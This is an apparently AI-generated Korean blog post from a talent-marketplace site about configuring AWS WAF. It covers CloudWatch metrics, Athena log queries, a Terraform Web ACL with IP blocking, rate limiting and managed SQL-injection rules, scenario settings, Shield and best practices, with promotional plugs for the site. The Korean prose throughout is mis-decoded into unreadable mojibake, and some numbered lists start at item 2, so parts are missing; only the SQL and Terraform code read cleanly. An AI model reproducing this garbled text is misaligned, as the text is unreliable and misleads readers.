AWS WAF๋ ์๋์ผ๋ก CloudWatch ๋ฉํธ๋ฆญ์ ์์ฑํด. ์ฃผ์ ๋ฉํธ๋ฆญ๋ค:
| ๋ฉํธ๋ฆญ | ์ค๋ช |
|---|---|
| AllowedRequests | ํ์ฉ๋ ์์ฒญ ์ |
| BlockedRequests | ์ฐจ๋จ๋ ์์ฒญ ์ |
| CountedRequests | Count ์ก์ ์ผ๋ก ์นด์ดํธ๋ ์์ฒญ ์ |
| PassedRequests | ๊ท์น์ ํต๊ณผํ ์์ฒญ ์ |
CloudWatch ๋์๋ณด๋์ ์ด ๋ฉํธ๋ฆญ๋ค์ ์ถ๊ฐํ๋ฉด ์ค์๊ฐ์ผ๋ก ๊ณต๊ฒฉ ํํฉ์ ๋ณผ ์ ์์ด. ์ฐจ๋จ ์์ฒญ์ด ๊ฐ์๊ธฐ ๊ธ์ฆํ๋ฉด ์๋์ ์ค์ ํด์ ์ฆ์ ์๋ฆผ์ ๋ฐ์ ์๋ ์๊ณ !
WAF ๋ก๊ทธ ๋ถ์ โ Athena ํ์ฉ
WAF ๋ก๊ทธ๋ฅผ S3์ ์ ์ฅํ๊ณ Amazon Athena๋ก SQL ์ฟผ๋ฆฌ๋ฅผ ๋ ๋ฆฌ๋ฉด ๊ฐ๋ ฅํ ๋ถ์์ด ๊ฐ๋ฅํด.
-- ๊ฐ์ฅ ๋ง์ด ์ฐจ๋จ๋ IP Top 10
SELECT httprequest.clientip, COUNT(*) as block_count
FROM waf_logs
WHERE action = 'BLOCK'
GROUP BY httprequest.clientip
ORDER BY block_count DESC
LIMIT 10;
-- ์ด๋ค ๊ท์น์ ๊ฐ์ฅ ๋ง์ด ๊ฑธ๋ ธ๋์ง
SELECT terminatingruleid, COUNT(*) as count
FROM waf_logs
WHERE action = 'BLOCK'
GROUP BY terminatingruleid
ORDER BY count DESC;
-- ํน์ ์๊ฐ๋ ๊ณต๊ฒฉ ํจํด ๋ถ์
SELECT DATE_FORMAT(FROM_UNIXTIME(timestamp/1000), '%Y-%m-%d %H:00') as hour,
COUNT(*) as requests,
SUM(CASE WHEN action = 'BLOCK' THEN 1 ELSE 0 END) as blocked
FROM waf_logs
GROUP BY 1
ORDER BY 1;
False Positive ์ฒ๋ฆฌ โ ์ ์ ํธ๋ํฝ์ด ์ฐจ๋จ๋ ๋
WAF๋ฅผ ์ฒ์ ์ค์ ํ๋ฉด ์ ์์ ์ธ ์์ฒญ์ด ์ฐจ๋จ๋๋ False Positive ๋ฌธ์ ๊ฐ ์๊ธธ ์ ์์ด. ์๋ฅผ ๋ค์ด ์ ์์ ์ธ ๊ฒ์ ์ฟผ๋ฆฌ๊ฐ SQL Injection์ผ๋ก ์คํ๋๊ฑฐ๋, ํน์ API ์์ฒญ์ด ์ฐจ๋จ๋๋ ๊ฒฝ์ฐ์ผ.
2. ๊ท์น ์ ์ธ(Exclude Rule): ๊ด๋ฆฌํ ๊ท์น ๊ทธ๋ฃน์์ ํน์ ๊ท์น๋ง ๋นํ์ฑํ ๊ฐ๋ฅ
3. Scope-down Statement: ํน์ ๊ฒฝ๋ก๋ ์กฐ๊ฑด์์๋ง ๊ท์น ์ ์ฉ
4. IP ํ์ฉ ๋ชฉ๋ก: ์ ๋ขฐํ ์ ์๋ IP๋ WAF ๊ฒ์ฌ ์์ด ํต๊ณผ์ํค๊ธฐ
๐๏ธ Infrastructure as Code โ Terraform์ผ๋ก WAF ๊ด๋ฆฌํ๊ธฐ
DevOps ๊ด์ ์์ WAF ์ค์ ์ ์ฝ๋๋ก ๊ด๋ฆฌํ๋ ๊ฒ ํจ์ฌ ์ข์. ๋ฒ์ ๊ด๋ฆฌ๋ ๋๊ณ , ์ฌํ ๊ฐ๋ฅํ๊ณ , ํ์๋ค๊ณผ ๊ณต์ ํ๊ธฐ๋ ์ฝ๊ฑฐ๋ . Terraform์ผ๋ก AWS WAF๋ฅผ ์ค์ ํ๋ ์์๋ฅผ ๋ณด์ฌ์ค๊ฒ!
์ฌ๋ฅ๋ท์์๋ Terraform์ด๋ AWS ์ธํ๋ผ ๊ด๋ จ ์ฌ๋ฅ์ ๊ฐ์ง ์ ๋ฌธ๊ฐ๋ค์ ์ฐพ์๋ณผ ์ ์๋๋ฐ, ์ด๋ฐ WAF ์ค์ ์๋ํ ์์ ์ ์๋ขฐํ๋ ๊ฒ๋ ์ข์ ๋ฐฉ๋ฒ์ด์ผ. ๐
# IP Set ์์ฑ (์ฐจ๋จํ IP ๋ชฉ๋ก)
resource "aws_wafv2_ip_set" "blocked_ips" {
name = "blocked-ip-set"
description = "์ฐจ๋จํ ์
์ฑ IP ๋ชฉ๋ก"
scope = "CLOUDFRONT" # ALB๋ฉด REGIONAL
ip_address_version = "IPV4"
addresses = [
"192.0.2.0/24",
"198.51.100.0/24",
]
}
# Web ACL ์์ฑ
resource "aws_wafv2_web_acl" "main" {
name = "my-service-waf"
description = "My Service WAF"
scope = "CLOUDFRONT"
default_action {
allow {}
}
# ๊ท์น 1: ์ฐจ๋จ IP ๋ชฉ๋ก
rule {
name = "BlockedIPRule"
priority = 1
action {
block {}
}
statement {
ip_set_reference_statement {
arn = aws_wafv2_ip_set.blocked_ips.arn
}
}
visibility_config {
cloudwatch_metrics_enabled = true
metric_name = "BlockedIPRule"
sampled_requests_enabled = true
}
}
# ๊ท์น 2: Rate Limiting
rule {
name = "RateLimitRule"
priority = 2
action {
block {}
}
statement {
rate_based_statement {
limit = 2000
aggregate_key_type = "IP"
}
}
visibility_config {
cloudwatch_metrics_enabled = true
metric_name = "RateLimitRule"
sampled_requests_enabled = true
}
}
# ๊ท์น 3: AWS ๊ด๋ฆฌํ ๊ท์น - Common Rule Set
rule {
name = "AWSManagedRulesCommonRuleSet"
priority = 3
override_action {
none {} # ๊ด๋ฆฌํ ๊ท์น์ ๊ธฐ๋ณธ ์ก์
์ฌ์ฉ
}
statement {
managed_rule_group_statement {
name = "AWSManagedRulesCommonRuleSet"
vendor_name = "AWS"
}
}
visibility_config {
cloudwatch_metrics_enabled = true
metric_name = "CommonRuleSet"
sampled_requests_enabled = true
}
}
# ๊ท์น 4: SQL Injection ๋ฐฉ์ด
rule {
name = "AWSManagedRulesSQLiRuleSet"
priority = 4
override_action {
none {}
}
statement {
managed_rule_group_statement {
name = "AWSManagedRulesSQLiRuleSet"
vendor_name = "AWS"
}
}
visibility_config {
cloudwatch_metrics_enabled = true
metric_name = "SQLiRuleSet"
sampled_requests_enabled = true
}
}
visibility_config {
cloudwatch_metrics_enabled = true
metric_name = "MyServiceWAF"
sampled_requests_enabled = true
}
}
# WAF ๋ก๊น
์ค์
resource "aws_wafv2_web_acl_logging_configuration" "main" {
log_destination_configs = [aws_cloudwatch_log_group.waf_logs.arn]
resource_arn = aws_wafv2_web_acl.main.arn
}
resource "aws_cloudwatch_log_group" "waf_logs" {
name = "/aws/waf/my-service"
retention_in_days = 30
}
us-east-1 ๋ฆฌ์ ์ผ๋ก ์ค์ ํด์ผ ํด. provider "aws" { alias = "us_east_1" region = "us-east-1" } ์ด๋ฐ ์์ผ๋ก ๋ณ๋ provider๋ฅผ ๋ง๋ค์ด์ ์ฌ์ฉํด!
๐ฏ ์ค์ ์๋๋ฆฌ์ค๋ณ WAF ์ค์ ์ ๋ต
์๋น์ค ์ ํ์ ๋ฐ๋ผ WAF ์ค์ ์ ๋ต์ด ๋ฌ๋ผ์ ธ. ๋ช ๊ฐ์ง ์ค์ ์๋๋ฆฌ์ค๋ฅผ ์ดํด๋ณด์!
๐ ์๋๋ฆฌ์ค 1: ์ด์ปค๋จธ์ค ์๋น์ค
์ถ์ฒ ์ค์ :
- CommonRuleSet + SQLiRuleSet ํ์
- ๋ก๊ทธ์ธ ํ์ด์ง(/login, /signin)์ Rate Limiting ๊ฐํ (5๋ถ ๋ด 100ํ)
- Bot Control ํ์ฑํ (์ฌ๊ณ ์คํฌ๋ํ ๋ด ์ฐจ๋จ)
- AmazonIpReputationList ํ์ฑํ
- ๊ฒฐ์ API ์๋ํฌ์ธํธ์ IP ํ์ฉ ๋ชฉ๋ก ์ ์ฉ
๐ฑ ์๋๋ฆฌ์ค 2: REST API ์๋น์ค
์ถ์ฒ ์ค์ :
- API Gateway์ WAF ์ฐ๊ฒฐ
- Rate Limiting ์๊ฒฉํ๊ฒ ์ค์ (์๋ํฌ์ธํธ๋ณ ๋ค๋ฅธ ์ ํ)
- API Key ์๋ ์์ฒญ ์ฐจ๋จ (์ปค์คํ ํค๋ ๊ฒ์ฌ)
- ๋น์ ์์ ์ผ๋ก ํฐ ์์ฒญ ๋ฐ๋ ์ฐจ๋จ (Size Constraint)
- ํน์ User-Agent ํจํด ์ฐจ๋จ
๐ ์๋๋ฆฌ์ค 3: WordPress ๋ธ๋ก๊ทธ/CMS
์ถ์ฒ ์ค์ :
- WordPressRuleSet ํ์ฑํ
- AdminProtectionRuleSet ํ์ฑํ
- /wp-admin, /wp-login.php ์ ๊ทผ IP ์ ํ
- /xmlrpc.php ์์ ์ฐจ๋จ
- ๋ก๊ทธ์ธ Rate Limiting (5๋ถ ๋ด 10ํ)
๐ข ์๋๋ฆฌ์ค 4: ๊ธฐ์ ๋ด๋ถ ์์คํ (B2B)
์ถ์ฒ ์ค์ :
- ํ์ฌ IP ๋ฒ์๋ง ํ์ฉํ๋ IP ํ์ฉ ๋ชฉ๋ก
- ํด์ธ IP ์ ์ฒด ์ฐจ๋จ (Geo Restriction)
- AnonymousIpList ํ์ฑํ (VPN/ํ๋ก์ ์ฐจ๋จ)
- ๋ชจ๋ ์์ฒญ ๋ก๊น ํ์ฑํ (๊ฐ์ฌ ๋ชฉ์ )
- ๋น์ ๋ฌด ์๊ฐ๋ ์ ๊ทผ ๋ชจ๋ํฐ๋ง
โก AWS WAF + Shield โ ๋ ๊ฐ๋ ฅํ DDoS ๋ฐฉ์ด
AWS WAF๋ง์ผ๋ก๋ ๊ธฐ๋ณธ์ ์ธ DDoS ๋ฐฉ์ด๊ฐ ๋์ง๋ง, ๋ ๊ฐ๋ ฅํ ๋ณดํธ๊ฐ ํ์ํ๋ค๋ฉด AWS Shield์ ํจ๊ป ์ฌ์ฉํ๋ ๊ฑธ ๊ณ ๋ คํด๋ด.
| ์๋น์ค | ๋ณดํธ ์์ค | ๋น์ฉ | ํน์ง |
|---|---|---|---|
| AWS Shield Standard | ๊ธฐ๋ณธ DDoS ๋ฐฉ์ด | ๋ฌด๋ฃ | ๋ชจ๋ AWS ๊ณ ๊ฐ์๊ฒ ์๋ ์ ์ฉ. L3/L4 DDoS ๋ฐฉ์ด |
| AWS Shield Advanced | ๊ณ ๊ธ DDoS ๋ฐฉ์ด | $3,000/์ | L7 DDoS ๋ฐฉ์ด, 24/7 DRT ํ ์ง์, ๋น์ฉ ๋ณดํธ, ์ค์๊ฐ ๊ฐ์์ฑ |
- DRT (DDoS Response Team): AWS ๋ณด์ ์ ๋ฌธ๊ฐ ํ์ด 24/7 ๋์ ์ง์
- ์๋ ์ํ: ๊ณต๊ฒฉ ํจํด์ ์๋์ผ๋ก ๊ฐ์งํ๊ณ WAF ๊ท์น ์๋ ์์ฑ
- ์ค์๊ฐ ๋์๋ณด๋: ๊ณต๊ฒฉ ํํฉ์ ์ค์๊ฐ์ผ๋ก ์๊ฐํ
๋๋ถ๋ถ์ ์คํํธ์ ์ด๋ ์ค์ ์๋น์ค๋ Shield Standard(๋ฌด๋ฃ) + WAF ์กฐํฉ์ผ๋ก ์ถฉ๋ถํด. Shield Advanced๋ ๊ธ์ต, ๊ฒ์, ๋ํ ์ด์ปค๋จธ์ค์ฒ๋ผ DDoS ๊ณต๊ฒฉ์ด ๋น์ฆ๋์ค์ ์ง์ ์ ์ธ ์ํฅ์ ๋ฏธ์น๋ ์๋น์ค์ ์ ํฉํด.
๐ WAF ์ด์ ๋ฒ ์คํธ ํ๋ํฐ์ค โ ์ด๊ฒ๋ง์ ๊ผญ ์ง์ผ!
AWS WAF๋ฅผ ์ ์ค์ ํ๋ค๊ณ ๋์ด ์๋์ผ. ์ฅ๊ธฐ์ ์ผ๋ก ์ ์ด์ํ๊ธฐ ์ํ ๋ฒ ์คํธ ํ๋ํฐ์ค๋ค์ ์ ๋ฆฌํด์ค๊ฒ.
โ ๋ฐ๋์ ํด์ผ ํ ๊ฒ๋ค
์๋ก์ด ๊ท์น์ ๋ฐ๋ก Block์ผ๋ก ์ค์ ํ๋ฉด ์ ์ ํธ๋ํฝ์ด ์ฐจ๋จ๋ ์ ์์ด. ์ต์ 1~2์ฃผ Count ๋ชจ๋๋ก ์ด์ํ๋ฉด์ False Positive๋ฅผ ํ์ธํ ํ Block์ผ๋ก ์ ํํด.
๋ก๊ทธ ์์ด๋ ๋ญ๊ฐ ์ฐจ๋จ๋๋์ง, ์ด๋ค ๊ณต๊ฒฉ์ด ๋ค์ด์ค๋์ง ์ ์ ์์ด. S3 ๋๋ CloudWatch Logs์ WAF ๋ก๊ทธ๋ฅผ ์ ์ฅํ๊ณ ์ ๊ธฐ์ ์ผ๋ก ๋ถ์ํด.
์ฐจ๋จ ์์ฒญ์ด ๊ธ์ฆํ๋ฉด ์ฆ์ ์๋ฆผ์ ๋ฐ์ ์ ์๋๋ก CloudWatch ์๋์ ์ค์ ํด. SNS์ ์ฐ๋ํด์ Slack์ด๋ ์ด๋ฉ์ผ๋ก ์๋ฆผ์ ๋ฐ์ ์ ์์ด.
์๋ก์ด ์ทจ์ฝ์ ์ด ๋ฐ๊ฒฌ๋๋ฉด AWS ๊ด๋ฆฌํ ๊ท์น์ด ์๋์ผ๋ก ์ ๋ฐ์ดํธ๋์ง๋ง, ์ปค์คํ ๊ท์น์ ์ง์ ๊ด๋ฆฌํด์ผ ํด. ๋ถ๊ธฐ๋ณ๋ก ๊ท์น ํจ๊ณผ๋ฅผ ๊ฒํ ํ๊ณ ๋ถํ์ํ ๊ท์น์ ์ ๊ฑฐํด.
Terraform์ด๋ AWS CloudFormation์ผ๋ก WAF ์ค์ ์ ์ฝ๋ํํด์ ๋ฒ์ ๊ด๋ฆฌํด. ์ค์๋ก ๊ท์น์ ์ญ์ ํด๋ ๋น ๋ฅด๊ฒ ๋ณต๊ตฌํ ์ ์์ด.
์ ๊ธฐ์ ์ผ๋ก ์นจํฌ ํ ์คํธ(Penetration Test)๋ฅผ ์ํํด์ WAF๊ฐ ์ค์ ๋ก ๊ณต๊ฒฉ์ ๋ง๋์ง ํ์ธํด. AWS์์๋ ์ฌ์ ์น์ธ ์์ด ์ผ๋ถ ํ ์คํธ๊ฐ ๊ฐ๋ฅํ์ง๋ง, ๋๊ท๋ชจ ํ ์คํธ๋ AWS์ ์ฌ์ ์ ์ฒญ์ด ํ์ํด.
โ ํ์ง ๋ง์์ผ ํ ๊ฒ๋ค
- ๋ก๊น ๋นํ์ฑํ: ๊ณต๊ฒฉ ๋ถ์ ๋ถ๊ฐ, ๋ฌธ์ ๋ฐ์ ์ ์์ธ ํ์ ์ด๋ ค์
- WCU ํ๋ ๋ฌด์: 1,500 WCU ์ด๊ณผ ์ ๊ท์น ์ถ๊ฐ ๋ถ๊ฐ
- ๊ท์น ์ฐ์ ์์ ๋ฌด์: ์๋ชป๋ ์์๋ก ๊ท์น์ด ์คํ๋์ด ์๋์น ์์ ๋์
- CloudFront WAF๋ฅผ us-east-1 ์ธ ๋ฆฌ์ ์ ์์ฑ: ์ฐ๋ ๋ถ๊ฐ
- WAF๋ง ๋ฏฟ๊ณ ๋ค๋ฅธ ๋ณด์ ์กฐ์น ์ํ: WAF๋ ์ฌ๋ฌ ๋ณด์ ๋ ์ด์ด ์ค ํ๋์ผ ๋ฟ
๐ AWS WAF์ ํจ๊ป ์ฐ๋ฉด ์ข์ ์๋น์ค๋ค
AWS WAF๋ ๋จ๋ ์ผ๋ก๋ ๊ฐ๋ ฅํ์ง๋ง, ๋ค๋ฅธ AWS ๋ณด์ ์๋น์ค๋ค๊ณผ ํจ๊ป ์ฌ์ฉํ๋ฉด ๋์ฑ ๊ฐ๋ ฅํ ๋ณด์ ์ฒด๊ณ๋ฅผ ๊ตฌ์ถํ ์ ์์ด!
| ์๋น์ค | ์ญํ | WAF์์ ์๋์ง |
|---|---|---|
| AWS Shield | DDoS ๋ฐฉ์ด | L3/L4 DDoS๋ Shield, L7 ๊ณต๊ฒฉ์ WAF๊ฐ ๋ด๋น |
| Amazon GuardDuty | ์ํ ํ์ง (ML ๊ธฐ๋ฐ) | GuardDuty๊ฐ ํ์งํ ์ ์ฑ IP๋ฅผ WAF IP Set์ ์๋ ์ถ๊ฐ ๊ฐ๋ฅ |
| AWS Security Hub | ๋ณด์ ์ํ ํตํฉ ๊ด๋ฆฌ | WAF ๋ก๊ทธ๋ฅผ Security Hub์์ ํตํฉ ๋ถ์ |
| Amazon CloudFront | CDN + ์ฃ์ง ๋ณด์ | ์ฃ์ง์์ WAF ์คํ์ผ๋ก ์ค๋ฆฌ์ง ์๋ฒ ๋ถํ ๊ฐ์ |
| AWS Lambda | ์๋ฒ๋ฆฌ์ค ํจ์ | WAF ๋ก๊ทธ ๋ถ์ โ Lambda โ IP Set ์๋ ์ ๋ฐ์ดํธ |
| Amazon Cognito | ์ฌ์ฉ์ ์ธ์ฆ | Cognito User Pool์ WAF ์ง์ ์ฐ๊ฒฐ ๊ฐ๋ฅ |
| AWS Firewall Manager | ๋ค์ค ๊ณ์ WAF ์ ์ฑ ๊ด๋ฆฌ | Organizations ์ ์ฒด์ WAF ์ ์ฑ ์ผ๊ด ์ ์ฉ |
์ด๋ฐ ์๋ํ ํ์ดํ๋ผ์ธ์ ๊ตฌ์ถํ๋ฉด ์ฌ๋์ด ๊ฐ์ ํ์ง ์์๋ ์ค์๊ฐ์ผ๋ก ์ํ์ ๋์ํ ์ ์์ด! ๐ค
๐ AWS WAF vs ๋ค๋ฅธ WAF ์๋ฃจ์ ๋น๊ต
AWS WAF ๋ง๊ณ ๋ ๋ค๋ฅธ WAF ์๋ฃจ์ ๋ค์ด ์์ด. ์ด๋ค ๊ฒ ๋ด ์ํฉ์ ๋ง๋์ง ๋น๊ตํด๋ณด์.
| ์๋ฃจ์ | ์ฅ์ | ๋จ์ | ์ ํฉํ ์ํฉ |
|---|---|---|---|
| AWS WAF | AWS ์๋น์ค์ ์๋ฒฝ ํตํฉ, ๊ด๋ฆฌ ๋ถ๋ด ์์, ์๋ ์ค์ผ์ผ๋ง | AWS ์ข ์์ฑ, ๊ณ ๊ธ ๊ธฐ๋ฅ์ ์ถ๊ฐ ๋น์ฉ | AWS ์ธํ๋ผ ์ฌ์ฉ ์ค์ธ ๋ชจ๋ ์๋น์ค |
| Cloudflare WAF | ๊ฐ๋ ฅํ ๋ด ๋ฐฉ์ด, ๊ธ๋ก๋ฒ ๋คํธ์ํฌ, ์ฌ์ฉ ํธ์์ฑ | AWS ์ธ๋ถ ์๋น์ค, ์ถ๊ฐ ๋น์ฉ | ๋ฉํฐ ํด๋ผ์ฐ๋, ๊ฐ๋ ฅํ ๋ด ๋ฐฉ์ด ํ์ ์ |
| ModSecurity (์คํ์์ค) | ๋ฌด๋ฃ, ์์ ํ ์ปค์คํฐ๋ง์ด์ง | ์ง์ ๊ด๋ฆฌ ํ์, ์ ๋ฌธ ์ง์ ํ์ | ์จํ๋ ๋ฏธ์ค, ๋น์ฉ ์ ๊ฐ ํ์ ์ |
| Imperva WAF | ์ํฐํ๋ผ์ด์ฆ๊ธ ๊ธฐ๋ฅ, ์ ๋ฌธ ์ง์ | ๋์ ๋น์ฉ | ๋๊ธฐ์ , ๊ท์ ์ค์ ์๊ตฌ์ฌํญ ์์ ๋ |
AWS ์ธํ๋ผ๋ฅผ ์ฌ์ฉํ๊ณ ์๋ค๋ฉด AWS WAF๊ฐ ๊ฐ์ฅ ์์ฐ์ค๋ฌ์ด ์ ํ์ด์ผ. ๋ณ๋์ ์ธํ๋ผ ์์ด ํด๋ฆญ ๋ช ๋ฒ์ผ๋ก ์ค์ ํ ์ ์๊ณ , AWS ์๋น์ค๋ค๊ณผ ์๋ฒฝํ๊ฒ ํตํฉ๋๊ฑฐ๋ . ์ฌ๋ฅ๋ท ๊ฐ์ ํ๋ซํผ ์๋น์ค๋ AWS ๊ธฐ๋ฐ์ด๋ผ๋ฉด WAF ๋์ ์ ๊ฐ๋ ฅ ์ถ์ฒํด! ๐ฏ
๐ ๋ง๋ฌด๋ฆฌ โ AWS WAF, ์ด์ ๋๋ ต์ง ์์!
์, ์ฌ๊ธฐ๊น์ง AWS WAF์ ๋ํด ์ ๋ง ๋ง์ ๊ฑธ ์์๋ดค์ด. ์ฒ์์ ๋ณต์กํด ๋ณด์์ง๋ง, ํต์ฌ์ ์ ๋ฆฌํ๋ฉด ์ด๋:
2๏ธโฃ Web ACL์ ๊ท์น๋ค์ ์ถ๊ฐํด์ CloudFront, ALB, API Gateway ๋ฑ์ ๋ณดํธํด
3๏ธโฃ AWS ๊ด๋ฆฌํ ๊ท์น ๊ทธ๋ฃน์ ํ์ฉํ๋ฉด ๋ณด์ ์ ๋ฌธ๊ฐ ์์ด๋ ๊ฐ๋ ฅํ ๋ฐฉ์ด ๊ฐ๋ฅ
4๏ธโฃ Rate-based Rule๋ก DDoS์ ๋ด ํธ๋ํฝ์ ๊ธฐ๋ณธ ๋ฐฉ์ดํ ์ ์์ด
5๏ธโฃ ์ฒ์์ Count ๋ชจ๋๋ก ํ ์คํธ ํ Block์ผ๋ก ์ ํํ๋ ๊ฒ ์์ ํด
6๏ธโฃ ๋ก๊น + ๋ชจ๋ํฐ๋ง์ ํ์! ๋ก๊ทธ ์์ด๋ ์ด์์ด ๋ถ๊ฐ๋ฅํด
7๏ธโฃ IaC(Terraform)๋ก ๊ด๋ฆฌํ๋ฉด ๋ฒ์ ๊ด๋ฆฌ์ ์ฌํ์ฑ์ด ๋ณด์ฅ๋ผ
์น ์๋น์ค๋ฅผ ์ด์ํ๋ค๋ฉด WAF๋ ์ ํ์ด ์๋๋ผ ํ์์ผ. ํนํ ์์ฆ์ฒ๋ผ ์๋ํ๋ ๊ณต๊ฒฉ ๋๊ตฌ๋ค์ด ๋์ณ๋๋ ์๋์๋ ๋๋์ฑ. ์ $10~20 ์ ๋์ ๋น์ฉ์ผ๋ก ์๋น์ค๋ฅผ ์งํฌ ์ ์๋ค๋ฉด ์ ๋ง ์ ๋ ดํ ๋ณดํ์ด์์? ๐ช
AWS WAF ์ค์ ์ด ์ด๋ ต๊ฑฐ๋ ์๊ฐ์ด ์๋ค๋ฉด, ํด๋ผ์ฐ๋/DevOps ์ ๋ฌธ๊ฐ์ ๋์์ ๋ฐ๋ ๊ฒ๋ ์ข์ ๋ฐฉ๋ฒ์ด์ผ. ์ฌ๋ฅ๋ท์์ AWS ๋ณด์ ์ค์ ์ ๋ฌธ๊ฐ๋ฅผ ์ฐพ์๋ณด๋ฉด ๋น ๋ฅด๊ฒ ๋์์ ๋ฐ์ ์ ์์ ๊ฑฐ์ผ. ๋ณด์์ ๋ฏธ๋ฃจ๋ฉด ๋ฏธ๋ฃฐ์๋ก ๋ฆฌ์คํฌ๊ฐ ์ปค์ง๋๊น, ์ค๋ ๋น์ฅ ์์ํด๋ณด์! ๐
๊ด๋ จ ํค์๋
๋๊ธ ์์ฑ
์ด ๊ธ์ ๋ํ ์ฌ๋ฌ๋ถ์ ์๊ฐ์ ๋ค๋ ค์ฃผ์ธ์
๋ก๊ทธ์ธ์ด ํ์ํฉ๋๋ค
๋๊ธ์ ์์ฑํ๋ ค๋ฉด ๋จผ์ ๋ก๊ทธ์ธํด์ฃผ์ธ์.
๋๊ธ 0
์ง์์ธ์ ์ฒ - ์ง์ ์ฌ์ฐ๊ถ ๋ณดํธ ๊ณ ์ง
์ง์ ์ฌ์ฐ๊ถ ๋ณดํธ ๊ณ ์ง
- ์ ์๊ถ ๋ฐ ์์ ๊ถ: ๋ณธ ์ปจํ ์ธ ๋ ์ฌ๋ฅ๋ท์ ๋ ์ AI ๊ธฐ์ ๋ก ์์ฑ๋์์ผ๋ฉฐ, ๋ํ๋ฏผ๊ตญ ์ ์๊ถ๋ฒ ๋ฐ ๊ตญ์ ์ ์๊ถ ํ์ฝ์ ์ํด ๋ณดํธ๋ฉ๋๋ค.
- AI ์์ฑ ์ปจํ ์ธ ์ ๋ฒ์ ์ง์: ๋ณธ AI ์์ฑ ์ปจํ ์ธ ๋ ์ฌ๋ฅ๋ท์ ์ง์ ์ฐฝ์๋ฌผ๋ก ์ธ์ ๋๋ฉฐ, ๊ด๋ จ ๋ฒ๊ท์ ๋ฐ๋ผ ์ ์๊ถ ๋ณดํธ๋ฅผ ๋ฐ์ต๋๋ค.
- ์ฌ์ฉ ์ ํ: ์ฌ๋ฅ๋ท์ ๋ช ์์ ์๋ฉด ๋์ ์์ด ๋ณธ ์ปจํ ์ธ ๋ฅผ ๋ณต์ , ์์ , ๋ฐฐํฌ, ๋๋ ์์ ์ ์ผ๋ก ํ์ฉํ๋ ํ์๋ ์๊ฒฉํ ๊ธ์ง๋ฉ๋๋ค.
- ๋ฐ์ดํฐ ์์ง ๊ธ์ง: ๋ณธ ์ปจํ ์ธ ์ ๋ํ ๋ฌด๋จ ์คํฌ๋ํ, ํฌ๋กค๋ง, ๋ฐ ์๋ํ๋ ๋ฐ์ดํฐ ์์ง์ ๋ฒ์ ์ ์ฌ์ ๋์์ด ๋ฉ๋๋ค.
- AI ํ์ต ์ ํ: ์ฌ๋ฅ๋ท์ AI ์์ฑ ์ปจํ ์ธ ๋ฅผ ํ AI ๋ชจ๋ธ ํ์ต์ ๋ฌด๋จ ์ฌ์ฉํ๋ ํ์๋ ๊ธ์ง๋๋ฉฐ, ์ด๋ ์ง์ ์ฌ์ฐ๊ถ ์นจํด๋ก ๊ฐ์ฃผ๋ฉ๋๋ค.
์์ง ๋๊ธ์ด ์์ต๋๋ค.